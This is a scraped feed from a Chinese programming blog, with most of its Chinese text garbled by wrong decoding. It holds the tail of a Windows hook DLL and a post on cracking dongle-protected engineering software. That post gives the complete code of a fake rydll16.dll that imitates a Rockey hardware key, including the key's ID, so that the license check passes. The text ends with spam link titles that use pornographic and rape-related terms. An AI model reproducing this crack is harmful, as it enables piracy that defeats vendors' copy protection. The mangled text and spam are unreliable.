style="color: #000000;">(</span><span style="color: #000000;">!</span><span style="color: #000000;">hhk)    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> </span><span style="color: #0000ff;">false</span><span style="color: #000000;">;<br></span><span style="color: #008080;">198</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> </span><span style="color: #0000ff;">true</span><span style="color: #000000;">;<br></span><span style="color: #008080;">199</span> <span style="color: #000000;">}<br></span><span style="color: #008080;">200</span> <span style="color: #000000;"><br></span><span style="color: #008080;">201</span> <span style="color: #000000;">extern </span><span style="color: #000000;">"</span><span style="color: #000000;">C</span><span style="color: #000000;">"</span><span style="color: #000000;"> bool __stdcall __declspec(dllexport) unhook(){<br></span><span style="color: #008080;">202</span> <span style="color: #000000;">    ::UnhookWindowsHookEx(hhk);<br></span><span style="color: #008080;">203</span> <span style="color: #000000;">    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> </span><span style="color: #0000ff;">true</span><span style="color: #000000;">;<br></span><span style="color: #008080;">204</span> <span style="color: #000000;">}<br></span><span style="color: #008080;">205</span> <span style="color: #000000;"><br></span><span style="color: #008080;">206</span> <span style="color: #000000;"></span></div> <br><br><img src ="http://www.shnenglu.com/socketref/aggbug/55256.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/socketref/" target="_blank">鏀懼眮闃跨嫍</a> 2008-07-03 23:16 <a href="http://www.shnenglu.com/socketref/archive/2008/07/03/55256.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>浠ュ墠鐮磋В鐨勪竴宸ョ▼杞歡http://www.shnenglu.com/socketref/archive/2008/07/03/55254.html鏀懼眮闃跨嫍鏀懼眮闃跨嫍Thu, 03 Jul 2008 15:12:00 GMThttp://www.shnenglu.com/socketref/archive/2008/07/03/55254.htmlhttp://www.shnenglu.com/socketref/comments/55254.htmlhttp://www.shnenglu.com/socketref/archive/2008/07/03/55254.html#Feedback0http://www.shnenglu.com/socketref/comments/commentRss/55254.htmlhttp://www.shnenglu.com/socketref/services/trackbacks/55254.html鐮旂┒浜嗗叾鎶鏈紝鍙戣鏄噰鐢╲b16緙栧啓鐨勶紝鍚庢潵緇忚繃鍗囩駭鍒頒簡vb32銆?br>瑕佺牬瑙e叾瀹炴湁涓や釜姝ラ:
1.鍒嗘瀽rockey 杞歡鐙楀姞瀵嗗拰璋冪敤鎺ュ彛
2.vb铏氭嫙瑙i噴鍣ㄧ殑璺熻釜

vb浠g爜璺熻釜榪樻槸姣旇緝楹葷儲鐨勪簨鎯咃紝鍥犱負杞歡鐨勫姞瀵嗙畻娉曞瓨鍌ㄥ湪rockey鐙楅噷闈紝杞歡浜х敓綆楁硶騫惰皟鐢ㄥ姞瀵嗙嫍榪愮畻錛屾瘮瀵瑰叾緇撴灉鏄惁涓鑷村氨璁や負杞歡鍚堟硶鎬т簡錛屾墍浠ュ彧瑕佽窡韙嚭vb閲岄潰鐨勮繍綆楃畻娉曠劧鍚庝吉閫犲嚭rockey鐨勫姞瀵嗙嫍鎺ュ彛鍗沖彲浜?br>vb綆楁硶璺熻釜宸ヤ綔褰撳垵鐢卞吔鍏芥悶浜?涓槦鏈熷湪softice涓嬪緢涓嶅鏄撶殑瀹屾垚浜?br>鎺ヤ笅鏉ョ殑rockey鎺ュ彛灝辯敱鎴戞潵騫蹭簡
浠ヤ笅鏄痳ockey妯℃嫙鎺ュ彛錛?nbsp;  
        dllshell.cpp 妯℃嫙 rydll16.dll rockey鍔熻兘鍑芥暟
        z.dll     鏄痳ydll16.dll(鏈綔淇敼錛屽彧鏄洿鏀瑰悕縐?
        rydll16.dll  淇敼榪囩殑鍔ㄦ佸簱錛屼笌騫跺彛杞歡鐙楀尮閰?br>         鐙楃殑瀵嗙爜閮芥槸鍏紑錛屽弬瑙乺ockey sdk鏂囨。鎴栦唬鐮侊紝
        騫跺彛鐙楃殑韜喚id:  0x5193e484


  1 // Borland C++ - (C) Copyright 1991, 1992 by Borland International
  2 
  3 // Example program used to demonstrate DLL's. This file one of the
  4 // files used to build BITMAP.DLL which is used in the DLLDEMO program.
  5 
  6 #define  STRICT
  7 #include <windows.h>
  8 
  9 // Turn off warning: Parameter '' is never used
 10 #pragma argsused
 11 
 12 // Every DLL has an entry point LibMain and an exit point WEP.
 13 int FAR PASCAL LibMain( HINSTANCE hInstance, WORD wDataSegment,
 14                                    WORD wHeapSize, LPSTR lpszCmdLine )
 15 {
 16     // The startup code for the DLL initializes the local heap (if there is one)
 17     // with a call to LocalInit which locks the data segment.
 18     if ( wHeapSize != 0 )
 19         UnlockData( 0 );
 20     return 1;   // Indicate that the DLL was initialized successfully.
 21 }
 22 
 23 // Turn off warning: Parameter '' is never used
 24 #pragma argsused
 25 
 26 int FAR PASCAL WEP ( int bSystemExit )
 27 {
 28     return 1;
 29 }
 30 
 31 #include <stdio.h>
 32 #include <string.h>
 33 #include <stdlib.h>
 34 
 35 
 36 WORD (CALLBACK *_Rockey)(WORD function, WORD FAR* handle, DWORD FAR* lp1,  DWORD FAR* lp2, WORD FAR* p1, WORD FAR* p2, WORD FAR* p3, WORD FAR* p4, BYTE FAR* buffer);
 37 
 38 
 39 extern "C" PASCAL WORD  FAR  _export Rockey(WORD function, WORD* handle,
 40 DWORD* lp1,  DWORD* lp2, WORD* p1, WORD* p2, WORD* p3, WORD* p4, BYTE* buffer){
 41           char buf[2048];
 42     memset(buf,0,2048);
 43    //    sprintf(buf,"浼犲叆鍙傛暟:function:%d,handle:%d,p1:%d,p2:%d,p3:%d,p4:%d",
 44    //    function,*handle,*p1,*p2,*p3,*p4);
 45 
 46 
 47 /*    sprintf(buf,"浼犲叆鍙傛暟:function:%d,handle:%d,p1:%p,p2:%p,p3:%p,p4:%p",
 48     function,*handle,p1,p2,p3,p4);
 49 */
 50     sprintf(buf,"浼犲叆鍙傛暟:function:%d,handle:%d,p1:%p,%d,p2:%p,%d,p3:%p,%d,p4:%p,%d",
 51     function,*handle,p1,*p1,p2,*p2,p3,*p3,p4,*p4);
 52 //    MessageBox(0,buf,"RYDLL16",MB_OK);
 53 
 54 
 55 /***********************************************************/
 56 /*
 57         鏌ヨ瀹夋彃鐨勮蔣浠剁嫍
 58     */
 59      //娉ㄦ剰:
 60      /*
 61         鍦ㄨ繖閲宭oadlibrary鍜宖reelibrary蹇呴』鎴愬鍑虹幇錛屽鏋滃繕璁癴reelibrary鍒欒蔣浠跺啀嬈″惎鍔ㄥ姞杞?br> 62         鍔ㄦ佸簱鏃跺皢澶辮觸
 63 
 64                 2003.06.24 10:49 am   runonce   shanghai radio
 65 
 66 
 67          */
 68     if(function==1){  //鏌ョ嫍
 69         HINSTANCE hDll;
 70         WORD _handle[16], _p1, _p2, _p3, _p4, _retcode;
 71         DWORD _lp1, _lp2;
 72         hDll = LoadLibrary("z.dll");
 73         if (hDll == NULL)
 74         {
 75             MessageBox(0,"load z.dll failed",0,MB_OK);
 76             return 1;
 77         }
 78 
 79         (FARPROC)_Rockey = GetProcAddress(hDll, "Rockey");
 80         _p1 = 0xc44c;
 81         _p2 = 0xc8f8;
 82         _p3 = 0x0799;
 83         _p4 = 0xc43b;
 84         WORD retcode;
 85         if(_Rockey==NULL){
 86             FreeLibrary(hDll);
 87             return 1;             
 88             }
 89 
 90         char bb[500];
 91              memset(bb,0,sizeof(bb));
 92              sprintf(bb,"yyyyyy.  %d",*_Rockey);
 93        //             MessageBox(0,bb,0,MB_OK);
 94          
 95         BYTE _buffer[200];
 96         memset(_buffer,0,sizeof(_buffer));
 97         retcode = _Rockey(1&_handle[0], &_lp1, &_lp2, &_p1, &_p2, &_p3, &_p4, _buffer);
 98         FreeLibrary(hDll);
 99         if(retcode){
100              //    MessageBox(0,"ret is not zero",0,MB_OK);
101             return 2;
102         }
103         if(_lp1 !=0x5193E484){    //騫跺彛杞歡鐙桰D,
104                //    MessageBox(0,"find dog error!",0,MB_OK);
105             return 2;
106         }
107         else{
108                //    MessageBox(0,"find dog ok!",0,MB_OK);
109             return 0;
110         }
111         
112         }
113        
114 /***********************************************************/
115     if(function==5){
116       strcpy(buffer,"ZYYS");
117     }
118     if(function==14){
119       char temp[25];
120       memset(temp,0,25);
121       //璁頒笅浼犲叆鐨勫弬鏁?/span>
122       int temp1=*p1;
123       int temp2=*p2;
124       int temp3=*p3;
125       int temp4=*p4;
126       *p1=(temp1*temp2)+(temp1*temp2*temp4);
127       *p2=(temp3+temp4+temp1*temp2+temp1*temp2*temp4)*2;
128       *p3=temp1*temp2*temp4;
129       *p4=(temp4+1)*temp2*(temp1*2)+(*p2);
130     }
131 
132     return 0;
133 }





鏀懼眮闃跨嫍 2008-07-03 23:12 鍙戣〃璇勮
]]>
尹人香蕉久久99天天拍| 久久久久亚洲AV无码专区首JN| 丁香色欲久久久久久综合网| 国产成人精品久久一区二区三区av| 国内精品久久久人妻中文字幕| 精品久久久一二三区| 亚洲成av人片不卡无码久久| 久久久精品人妻无码专区不卡| 国产农村妇女毛片精品久久| 亚洲精品高清久久| 日本一区精品久久久久影院| 精品久久久久久国产91| 人妻精品久久无码区| 久久ZYZ资源站无码中文动漫| 蜜臀久久99精品久久久久久小说 | 天堂无码久久综合东京热| 91精品婷婷国产综合久久| 国产精品永久久久久久久久久| 国产精品久久久久久久久久免费| 精品久久久久久无码人妻蜜桃| 久久久久久久综合综合狠狠| 一本久久精品一区二区| 国色天香久久久久久久小说 | 99久久国产综合精品成人影院| 88久久精品无码一区二区毛片| 久久久91人妻无码精品蜜桃HD| 亚洲精品无码久久久久AV麻豆| 久久久久免费精品国产| 久久99热只有频精品8| 国产巨作麻豆欧美亚洲综合久久 | 亚洲国产成人精品无码久久久久久综合 | 日产久久强奸免费的看| 久久久久久国产精品无码下载| 欧洲精品久久久av无码电影| 久久久精品一区二区三区| 麻豆久久| 97精品国产91久久久久久| 久久久久婷婷| 久久精品国产亚洲av日韩| 精品乱码久久久久久夜夜嗨 | 国产高潮国产高潮久久久|